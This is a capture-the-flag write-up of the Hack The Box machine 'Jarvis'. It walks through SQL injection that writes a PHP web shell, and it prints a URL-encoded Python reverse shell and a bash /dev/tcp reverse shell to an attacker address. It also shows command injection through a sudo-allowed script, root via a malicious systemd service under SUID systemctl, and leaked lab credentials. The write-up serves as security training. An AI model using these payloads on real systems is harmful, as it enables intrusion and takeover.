Jarvis
Nmap scan
┌──(kali㉿kali)-[~]
└─$ nmap --min-rate 1000 -p- <MACHINE_IP>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:55 EDT
Nmap scan report for <MACHINE_IP>
Host is up (0.047s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 25.05 seconds
┌──(kali㉿kali)-[~/Desktop/HTB/Jarvis]
└─$ sudo nmap -sC -sV -p22,80,64999 <MACHINE_IP>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:57 EDT
Nmap scan report for <MACHINE_IP>
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds
In this case it is a Linux box with only three open ports, two websites and SSH.
Port 64999
This page just informs that we are banned for 90 seconds, I don't know why because we are good people. Looks like the page always return that, no matter the URL.
I tried to change some headers to request the page but no luck.
Port 80
Here we see a hotel page, at first glance I can see a domain name: supersecurehotel.htb
and also an email: supersecurehotel@logger.htb
. Adding the domain name to my hosts file and visiting it didn't reveal any virtual hosts so let's continue.
The /room.php
page looks promising, after trying some things looks like the cod
URL parameter is SQL injectable beacuse after introducing 1 and 4=4
the page showed the first room.
SQL Injection
After some trial and error the payload 100 UNION SELECT 1,2,3,4,5,6,7
worked, and showed some of the dummy values used (Don't worry about the encoding because the browser do that for us, at least Firefox).
Time to check what platform we have in front: 100 UNION SELECT 1,2,3,4,@@version,6,7
prints 10.1.37-MariaDB-0+deb9u1
so we are against MySQL. I had a good time enumerating the information of the database but was useless so I will just skip to the fun part.
If the website is using a privileged user we can try to inject files. Using this payload: 100 UNION SELECT 1,2,3,4,@@version,6,7 INTO dumpfile '/var/www/html/images/test.txt'
and checking /images
confirms that we can write files beacuse our test file is there. Changing the payload a bit: 100 UNION SELECT '<?php',';',';',';','system($_GET[\'cmd\']);',';','?>' INTO outfile '/var/www/html/images/pwn.php'
and going to /images/pwn.php?cmd=id
confirm that we have now RCE since the page showed: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.
Getting a reverse shell
I decided to go for a Python reverse shell, this is the URL encoded payload:
export RHOST%3D"<ATACKER_IP>"%3Bexport RPORT%3D<ATACKER_PORT>%3Bpython -c 'import sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket()%3Bs.connect((os.getenv("RHOST")%2Cint(os.getenv("RPORT"))))%3B[os.dup2(s.fileno()%2Cfd) for fd in (0%2C1%2C2)]%3Bpty.spawn("%2Fbin%2Fsh")'%0A
Before sending the payload to the web shell, make sure Netcat is listenning. That way the reverse shell will come back.
As www-data in the machine
Once we are in, we can get the database credentials: DBadmin:imissyou
. The only users that can login to the server are pepper
and root
:
www-data@jarvis:/$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
The database credential with the pepper
user won't work but we have this:
www-data@jarvis:/var/www/html/images$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
We can execute the /var/www/Admin-Utilities/simpler.py
program as pepper
, maybe we can exploit it. The program has an option to execute a ping
command and ask for an IP address. After some trial and error looks like the program is not filtering the characters $
, (
and )
so we could inject a command to get a shell as the pepper
user:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(bash)
pepper@jarvis:/var/www/Admin-Utilities$
Even though it worked... the commands executed in the new shell are not showing any output, so I just executed another reverse shell:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(bash)
pepper@jarvis:/var/www/Admin-Utilities$ bash -i >& /dev/tcp/<ATACKER_IP>/<ATACKER_PORT> 0>&1
And now everything is working:
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [<ATACKER_IP>] from (UNKNOWN) [<MACHINE_IP>] 40576
pepper@jarvis:/var/www/Admin-Utilities$ ls
ls
simpler.py
test.txt
text.txt
We can now grab the user flag under /home/pepper/user.txt
.
As Pepper in the machine
The first thing I did was to generate SSH keys for Pepper to get a more stable shell. Now, after checking for SUID files:
pepper@jarvis:~$ find / -perm /4000 2> /dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
systemctl
is a SUID binary and we can use that to escalate.
Getting root
Since the systemctl
binary has the SUID bit it won't drop privileges. The idea is to create a malicious service that will execute a command of our choice. In this case, I will make the service put the SUID bit to the bash
binary to get easy privilege escalation from our current SSH session:
pepper@jarvis:~$ cat pwn.service
[Service]
Type=oneshot
ExecStart=/bin/chmod u+s /bin/bash
[Install]
WantedBy=multi-user.target
Once the service is created we have to execute it and we would have a SUID bash
binary:
pepper@jarvis:~$ systemctl link /home/pepper/pwn.service
Created symlink /etc/systemd/system/pwn.service → /home/pepper/pwn.service.
pepper@jarvis:~$ systemctl start pwn.service
pepper@jarvis:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
So now we can just:
pepper@jarvis:~$ bash -p
bash-4.4#
/root/root.txt
.